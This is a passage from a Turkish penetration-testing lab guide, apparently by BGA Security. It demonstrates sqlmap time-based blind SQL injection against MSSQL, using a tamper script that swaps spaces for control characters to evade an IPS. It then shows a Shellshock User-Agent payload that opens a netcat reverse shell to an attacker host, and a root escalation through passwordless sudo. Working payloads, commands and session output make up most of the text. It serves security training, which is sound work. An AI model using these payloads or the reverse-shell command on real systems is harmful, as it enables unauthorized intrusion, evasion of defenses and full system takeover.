Mssql üzerinde boşluk karakterine alternatif olan diğer değerler aşağıdaki gibidir;
%01, %02, %03, %04, %05, %06, %07, %08, %09, %0A, %0B, %0C, %0D, %0E,
%0F
Bu değerler bir dizi içerisinde tutulup her SQL sorgusu içerisindeki boşluk değerlerine
rastgele olarak atanıp sorgular backend dbms sistemine gönderilir. Bu şekilde aradaki
güvenlik cihazları kolaylıkla bypass edilebilmektedir.
IPS sistemi ile korunan bir web uygulamasındaki SQL injection açıklığını sqlmap ile
istismar ederken ilgili script kullanılmadığındaki durum aşağıdaki gibidir;
root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-
db --keep-alive --dbms "mssql" --technique T -v 3
...
...
[22:46:16] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-
based blind' injectable
[22:46:16] [INFO] checking if the injection point on POST parameter 'username' is a
false positive
[22:46:16] [PAYLOAD] admin) IF((19+18)=37) WAITFOR DELAY '0:0:5'--
[22:46:46] [PAYLOAD] admin) IF(19=18) WAITFOR DELAY'0:0:5'--
[22:47:18] [PAYLOAD] admin) IF(18>(66+19)) WAITFOR DELAY '0:0:5'--
[22:47:48] [WARNING] false positive or unexploitable injection point detected
[22:47:48] [WARNING] POST parameter 'username' is not injectable
...
...
Yukarıdaki gibi boşluk karakterleri olduğu gibi gönderilen sorgular IPS tarafından
geçirilmediğinden dolayı sqlmap açıklığı doğrulayamamış yada istismar edilemeyecek
bir açıklık olarak değerlendirmiştir.
23. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Şimdi ise boşluk karakterleri yerine Mssql serverdaki alternatif değerlerini rastgele
kullanan tamper scripti sqlmap aracına verip sonucu görelim;
root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-
db --keep-alive --dbms "mssql" --technique T --tamper "space2mssqlblank.py" -v 3 --
flush-session
[22:58:00] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-
based blind' injectable
[22:58:00] [INFO] checking if the injection point on POST parameter 'username' is a
false positive
[22:58:00] [PAYLOAD]
admin'%0FIF((62+76)=138)%0AWAITFOR%05DELAY%0B'0:0:5'--
[22:58:05] [PAYLOAD] admin'%0AIF(62=76)%08WAITFOR%03DELAY%04'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF(62>(63+76))%04WAITFOR%04DELAY%02'0:0:5'-
-
[22:58:06] [PAYLOAD]
admin'%0EIF((63+62)>201)%06WAITFOR%0DDELAY%0C'0:0:5'--
[22:58:07] [PAYLOAD]
admin'%0AIF(138=(62+76))%0EWAITFOR%03DELAY%05'0:0:5'--
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
Yukarıdaki gibi hedefe gönderilen payloadlarda, boşluk karakterinin Mssql sunucudaki
alternatif değerleri rastgele olarak verilerek IPS cihazı atlatılmıştır. Birçok WAF/IPS
imzaları bu mantıkla çalıştığı için belirtilen yöntemle kolaylıkla bypass edilebilirler.
24. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
4.8. Netcat KullanarakTersine KanalAçma Yöntemleri
Amaç: Netcat aracı kullanılarak arka kapı açılması
Uygulama: Sızma testi esnasında karşılaşılan en büyük problemlerden birisi de zafiyet
barındıran makineye olan erişim sıkıntısıdır. İlgili makine üzerinde yapılan port
kısıtlamaları nedeniyle makineye erişmenin zor olduğu durumlarda kullanılabilecek bazı
alternatif yöntemler vardır. Örnek olarak bir uygulamanın shellshock zafiyeti
barındırdığını fakat 80 portu haricindeki diğer portların kapalı olduğunu varsayalım.
Böyle bir durumda makineye komut satırından direk erişim sağlamak için ne
yapılmalıdır?
Böyle bir durumda en pratik ve avantajlı yöntem netcat ile tersine kanal açma
yöntemidir. Sizin makineye erişemediğiniz durumlarda makinenin size erişmesini
sağlayacaktır. Öncelikle zafiyet barındıran makinenin bağlanması için saldırgan
tarafında netcat ile bir port açılır ve dinlemeye alınır.
root@bgakali:/home/cihat# nc -lvp 33333
listening on [any] 33333
Zafiyet barından uygulama tarafında yapılması gereken şey ise, User-Agent’a yazılacak
payload ile saldırgan makinesine netcat bağlantısı kurmaktır. Bunun için yazılacak olan
payload aşağıdaki gibi olacaktır.
() { :; }; /bin/bash -c 'ping -c 3 172.16.16.1;nc 172.16.16.10 33333 -e /bin/sh'
Sonrasında saldırgan tarafından dinlemeye alınan port üzerinde bağlantının
gerçekleştiği görülecektir. Artık saldırgan yazacağı komutları User-Agent bilgileri
üzerinden değil kendi komut satırından gönderecektir.
25. [PENTEST LAB ÇALIŞMALARI]
BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
Saldırgan tarafından çalıştırılan örnek komutlar aşağıdaki tabloda verilmiştir. Komut
çıktılarına bakılacak olursa sistem üzerinde parolasız root kullanıcısının olduğu ve
sonrasında ise saldırganın root haklarına sahip olduğu açıkça görülmektedir.
root@bgakali:/home/cihat# nc -lvp 33333
listening on [any] 33333
connect to [172.16.16.10] from 85.105.101.253.static.ttnet.com.tr [85.105.101.253]
37918
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
sudo -l
User pentesterlab may run the following commands on this host:
(root) NOPASSWD: ALL
sudo -s
id
uid=0(root) gid=0(root) groups=0(root)
Not: Bu doküman BGA Bilgi Güvenliği A.Ş için Mesut Türk tarafından hazırlanmıştır.